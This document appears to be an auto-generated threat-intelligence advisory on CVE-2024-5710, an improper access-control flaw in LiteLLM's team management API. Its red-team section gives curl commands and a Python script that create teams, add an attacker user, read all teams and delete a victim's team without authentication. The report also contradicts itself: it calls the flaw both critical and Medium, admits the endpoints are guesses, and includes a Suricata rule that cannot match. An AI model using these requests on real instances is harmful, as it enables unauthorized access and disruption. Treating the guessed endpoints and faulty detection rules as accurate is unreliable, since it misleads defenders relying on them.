CVE-2024-5710

Executive Summary

CVE-2024-5710 is a critical improper access control vulnerability in BerriAI's LiteLLM version 1.34.34. The flaw resides in the team management functionality, allowing unauthenticated or unauthorized attackers to perform arbitrary team operations—including creating, updating, viewing, deleting, blocking, unblocking teams, and adding or removing members. This vulnerability stems from insufficient authorization checks across multiple API endpoints, effectively bypassing role-based access controls. With a CVSS score of 5.3 (Medium), the impact is moderate but the attack surface is broad, as it can lead to unauthorized data exposure and privilege escalation within the application. No public proof-of-concept or patch is currently available, increasing the risk for unpatched deployments.

Supply Chain & Package Security

LiteLLM is distributed as a Python package via PyPI (litellm). Organizations using this package should verify their installed version and monitor for updates. The vulnerability affects the team management API endpoints, which are part of the core application logic. Since no patch is available, users must implement compensating controls such as network segmentation, strict API authentication, and monitoring for anomalous team management activities.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure (team details).
• Integrity (I): Low (L) – Unauthorized modifications possible.
• Availability (A): None (N) – No denial of service.

Threat Level: Medium. While the CVSS score is moderate, the ease of exploitation and potential for lateral movement within the application make this a significant risk for unpatched instances.

Deep Dive & Mechanics

The vulnerability exists in the team management API endpoints of LiteLLM. These endpoints are designed to enforce access control based on user roles (e.g., admin, member). However, due to missing or insufficient authorization checks, any request to these endpoints is processed without verifying the requester's permissions.

Affected Endpoints (likely):

• POST /team/create – Create a new team.
• PUT /team/update – Update team details.
• GET /team/view – View team information.
• DELETE /team/delete – Delete a team.
• POST /team/block – Block a team.
• POST /team/unblock – Unblock a team.
• POST /team/member/add – Add a member to a team.
• POST /team/member/remove – Remove a member from a team.

Root Cause: The application fails to validate the role or permissions of the authenticated user (or even the presence of authentication) before executing team management operations. This allows an attacker to directly call these endpoints with arbitrary parameters.

Attack Scenario:

1. An attacker identifies a LiteLLM instance (e.g., via Shodan or by probing common endpoints).
2. The attacker sends a crafted HTTP request to /team/create with a JSON body containing team details.
3. The server processes the request without checking if the attacker has the right to create teams.
4. The attacker can then add themselves or other malicious actors to the newly created team, gaining unauthorized access to team resources.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a conceptual comparison based on the vulnerability description.

Vulnerable Code (Python/Flask-like):

@app.route('/team/create', methods=['POST'])
def create_team():
    data = request.get_json()
    team = Team(name=data['name'], description=data.get('description'))
    db.session.add(team)
    db.session.commit()
    return jsonify({"status": "success", "team_id": team.id}), 201

Patched Code (Conceptual):

@app.route('/team/create', methods=['POST'])
@require_auth
@require_role('admin')
def create_team():
    data = request.get_json()
    team = Team(name=data['name'], description=data.get('description'))
    db.session.add(team)
    db.session.commit()
    return jsonify({"status": "success", "team_id": team.id}), 201

The patched version adds decorators @require_auth (to ensure the user is authenticated) and @require_role('admin') (to ensure the user has the admin role). Similar checks should be applied to all team management endpoints.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target LiteLLM instance (e.g., http://target:8000).
• No authentication required.

Exploitation Steps:

1. Create a malicious team:

   curl -X POST http://target:8000/team/create \
     -H "Content-Type: application/json" \
     -d '{"name": "malicious-team", "description": "Created by attacker"}'
   

2. Add an attacker-controlled user to the team:

   curl -X POST http://target:8000/team/member/add \
     -H "Content-Type: application/json" \
     -d '{"team_id": "<team_id>", "user_id": "<attacker_user_id>"}'
   

3. View all teams (information disclosure):

   curl http://target:8000/team/view
   

4. Delete a legitimate team (disruption):

   curl -X DELETE http://target:8000/team/delete \
     -H "Content-Type: application/json" \
     -d '{"team_id": "<victim_team_id>"}'
   

Automation Script (Python):

import requests

target = "http://target:8000"
session = requests.Session()

# Create team
team_resp = session.post(f"{target}/team/create", json={"name": "pwned"})
team_id = team_resp.json().get("team_id")
print(f"Created team: {team_id}")

# Add attacker user
session.post(f"{target}/team/member/add", json={"team_id": team_id, "user_id": "attacker"})
print("Added attacker to team")

Blue Team

Detection & Response:

• Monitor for unusual team creation or modification events.
• Alert on multiple failed authentication attempts followed by successful team operations.
• Use the Sigma rules below to detect exploitation attempts.

Honeypot:

• Deploy a fake LiteLLM instance with logging enabled to capture attacker behavior.
• Monitor for requests to /team/create, /team/member/add, etc., from unauthorized IPs.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to endpoints: /team/create, /team/update, /team/delete, /team/block, /team/unblock, /team/member/add, /team/member/remove.
  • Unusual JSON payloads containing team names like "test", "pwned", "malicious".
  • Requests from IPs not in the allowed admin list.

• System IOCs:

  • Unexpected team entries in the database.
  • Log entries showing team operations without prior authentication.
  • New user accounts added to teams without proper authorization.

• File IOCs:

  • Modified configuration files (e.g., config.yaml) that change team permissions.
  • Suspicious log files in /var/log/litellm/ showing unauthorized access.

Detection Engineering

YARA Rule

rule CVE_2024_5710_LiteLLM_Team_Management_Exploit {
    meta:
        description = "Detects exploitation attempts of CVE-2024-5710 in LiteLLM team management"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-5710"
    strings:
        $s1 = "/team/create" ascii wide nocase
        $s2 = "/team/update" ascii wide nocase
        $s3 = "/team/delete" ascii wide nocase
        $s4 = "/team/block" ascii wide nocase
        $s5 = "/team/unblock" ascii wide nocase
        $s6 = "/team/member/add" ascii wide nocase
        $s7 = "/team/member/remove" ascii wide nocase
        $s8 = "team_id" ascii wide
        $s9 = "user_id" ascii wide
    condition:
        any of ($s1, $s2, $s3, $s4, $s5, $s6, $s7) and
        any of ($s8, $s9)
}

Sigma Rule

title: CVE-2024-5710 LiteLLM Team Management Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthorized team management operations in LiteLLM
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-5710
logsource:
    category: webserver
    product: litellm
detection:
    selection:
        cs-method: 
            - 'POST'
            - 'PUT'
            - 'DELETE'
        cs-uri-stem:
            - '/team/create'
            - '/team/update'
            - '/team/delete'
            - '/team/block'
            - '/team/unblock'
            - '/team/member/add'
            - '/team/member/remove'
    condition: selection
falsepositives:
    - Legitimate admin actions
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2024-5710 LiteLLM Team Management Exploitation Attempt";
    flow:to_server,established;
    content:"/team/create"; http_uri; nocase;
    content:"/team/update"; http_uri; nocase;
    content:"/team/delete"; http_uri; nocase;
    content:"/team/block"; http_uri; nocase;
    content:"/team/unblock"; http_uri; nocase;
    content:"/team/member/add"; http_uri; nocase;
    content:"/team/member/remove"; http_uri; nocase;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable team management endpoints if not required, by blocking access at the reverse proxy or firewall level.
2. Implement authentication for all API endpoints using tokens or session-based auth.
3. Apply strict role-based access control (RBAC) – only admin users should be able to manage teams.

Long-term Fix:

• Wait for an official patch from BerriAI. Monitor their GitHub repository and PyPI releases.
• Once patched, upgrade to the latest version immediately.

Compensating Controls:

• Use a Web Application Firewall (WAF) to block requests to team management endpoints from untrusted IPs.
• Enable detailed logging and alerting for all team-related API calls.
• Conduct a security audit of the LiteLLM deployment to identify other potential vulnerabilities.

Valters IT Signature

This report was generated by Valters IT Cyber Threat Intelligence. For questions or further analysis, contact: intelligence@valters.it